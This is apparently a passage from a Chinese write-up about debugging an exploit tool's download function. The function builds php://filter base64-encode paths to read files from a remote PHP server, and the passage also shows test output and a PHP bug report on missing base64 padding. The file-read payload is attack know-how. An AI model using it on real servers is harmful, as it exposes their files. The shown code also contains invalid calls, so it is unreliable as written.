defdownload(self, path: str) -> bytes: """Returns the contents of a remote file. """ print(path) path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) ## 回显提取 data = response.re.search(b'</code>(.*)', flags=re.S).group(1) print(response.text) return base64.decode(data)
download函数提取回显内容
然而在检查发送与相应的数据时出现了问题
1 2 3 4 5 6
[-] Remote.download did not return the test string -------------------- Expected test string: b'IocjTMU03JWKjFdaYvtre7whxt9hX6tlrFgpme8XTcuDOmdJq1' Got: b'IocjTMU03JWKjFdaYvtre7whxt9hX6tlrFgpme8XTcuDOmdJ' -------------------- [-] If your code works fine, it means that the data:// wrapper does not work
[-] Remote.download did not return the test string -------------------- Expected test string: b'ZFbUbqgX02ZZabrFnyYxMpqAQJeNt1o07KGuXewgRhuZyYGos1' Got: b'ZFbUbqgX02ZZabrFnyYxMpqAQJeNt1o07KGuXewgRhuZyYGo' -------------------- [-] If your code works fine, it means that the data:// wrapper does not work
Description: ------------ When using a memory stream and the read filter "convert.base64-encode" the last character is missing from the output if the base64 conversion needs padding bytes. This doesn't happen when using a file.